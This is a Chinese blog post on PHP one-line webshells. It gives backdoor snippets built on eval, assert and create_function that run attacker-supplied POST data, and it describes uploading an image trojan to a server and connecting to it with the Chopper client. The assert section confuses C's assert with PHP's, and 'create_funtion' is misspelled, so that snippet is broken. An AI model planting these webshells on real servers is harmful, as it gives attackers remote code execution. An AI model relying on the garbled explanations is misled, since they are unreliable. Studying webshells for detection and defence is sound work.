当前位置:网站首页>PHP之一句话木马
PHP之一句话木马
2022-06-26 04:59:00 【伯麟】
一句话木马的普通形式
<?php eval(@$_POST['password']);?>
<?php ;?>是php的基本格式 eval是执行函数
$_POST[‘password’]是接收的数据,此处使用的是POST方式,同样存在GET、COOKIE方式,一句话木马通过eval函数把接收的数据当作PHP代码来执行
曾经用传图片木马进入服务器,并用菜刀进行了连接,菜刀连接需要输入密码,使用的便是参数中的内容“password”。
连接过程中发现问题,连接时候,服务器端弹出窗口,需要人为关闭此窗口,客户端才可以用菜刀成功连接。否则连接不成功。(具体为何还未解决,抽时间会解决此问题)
使用函数
- assert函数
<?php assert(@$_POST['password']);?>
assert的作用是现计算表达式 expression ,如果其值为假(即为0),那么它先向stderr打印一条出错信息,然后通过调用 abort 来终止程序运行。
assert()的缺点是,频繁的调用会极大的影响程序的性能,增加额外的开销。
许多地方已经将assert函数禁用,因为assert只在DEBUG个生效,只需要在#include <assert.h>前加上#define NDEBUG便可禁用,也可以通过改变环境实现。
比较好的在程序中使用assert的地方:
- 空指针检查。例如,针对一个函数的参数进行空指针检查。你可以这样使用:
assert (pointer != NULL);
产生的错误会像这样:
Assertion ‘pointer != ((void *)0)’ failed。
这样,当出现空指针时,你的程序就会退出,并很好的给出错误信息。 - 检查函数参数的值。例如,如果一个函数只能在它的一个参数foo为正值的时候被调用,你可以在函数开始时这样写:
assert (foo > 0);,
这将帮助你检测函数的错误使用,这也给源代码阅读者很清晰的印象,那就是在这里对函数的参数值有限制。
- 空指针检查。例如,针对一个函数的参数进行空指针检查。你可以这样使用:
我们可以尝试在自己的木马中合理使用。
- create_funtion函数
<?php
$fun = create_funtion('',$_POST['password']);
$fun();
?>
create_funtion函数的作用是根据传递的参数创建匿名函数,并为其返回唯一名称。
使用方法:把用户传递的数据生成一个函数,例如上述fun(),然后再执行fun()。
- 以下代码参考
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
边栏推荐
猜你喜欢

Essential foundation of programming - Summary of written interview examination sites - computer network (1) overview

UWB ultra high precision positioning system architecture

1.17 learning summary

6.1 - 6.2 公钥密码学简介

86. (cesium chapter) cesium overlay surface receiving shadow effect (gltf model)

5. < tag stack and general problems > supplement: lt.946 Verify the stack sequence (the same as the push in and pop-up sequence of offer 31. stack)

1.19 learning summary

Text horizontal alignment attribute text align and element vertical alignment attribute vertical align

钟珊珊:被爆锤后的工程师会起飞|OneFlow U

#微信小程序# 在小程序里面退出退出小程序(navigator以及API--wx.exitMiniProgram)
随机推荐
1.16 learning summary
86. (cesium chapter) cesium overlay surface receiving shadow effect (gltf model)
1.21 learning summary
Numpy general function
文件上传与安全狗
微信小程序保存圖片的方法
Wechat applet exits the applet (navigator and api--wx.exitminiprogram)
Numpy index and slice
torchvision_transform(图像增强)
5. <tag-栈和常规问题>补充: lt.946. 验证栈序列(同剑指 Offer 31. 栈的压入、弹出序列)
Multipass Chinese document - remote use of multipass
Using requests library and re library to crawl web pages
Collections and dictionaries
numpy 通用函数
2.8 learning summary
ModuleNotFoundError: No module named ‘numpy‘
2.22.2.14
Schematic diagram of UWB ultra high precision positioning system
Mise en œuvre du routage dynamique par zuul
Dameng database backup and restore